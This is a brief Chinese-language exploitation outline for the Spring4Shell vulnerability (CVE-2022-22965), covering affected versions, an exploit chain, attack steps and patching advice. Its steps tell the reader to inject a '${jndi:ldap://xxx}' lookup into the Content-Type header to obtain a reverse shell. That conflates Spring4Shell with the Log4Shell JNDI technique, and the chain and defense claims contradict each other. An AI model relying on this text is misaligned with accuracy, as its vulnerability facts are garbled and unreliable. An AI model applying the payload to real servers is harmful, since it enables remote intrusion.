写在前面:合法学习边界
Spring4Shell 攻击只在授权测试环境进行。对非授权目标进行攻击可能触犯法律。
一、Spring4Shell 利用链

1
| ① 发现 Spring Boot → ② 确认版本/JDK/Tomcat → ③ ${...} 注入 → ④ 写 TLD 文件 → ⑤ 触发加载 → ⑥ RCE
|
二、漏洞信息
1
2
3
4
| CVE-2022-22965
影响:Spring Framework 5.3.0~5.3.17 / 5.2.0~5.2.19
条件:Tomcat + JDK 9-17
入口:Content-Type / Accept 头中 ${...}
|
三、利用步骤
1
2
3
4
| 确认版本(Spring Boot / Tomcat / JDK)
→ 构造 ${jndi:ldap://xxx} payload
→ 注入到 Content-Type 头
→ 反弹 Shell
|
四、防御加固
1
2
3
| 升级到 Spring Framework 5.3.18+
或打官方补丁
WAF 拦截 ${ 表达式
|
五、小结
Spring4Shell 是 Spring Framework 的远程代码执行漏洞。升级补丁是唯一有效的防御手段。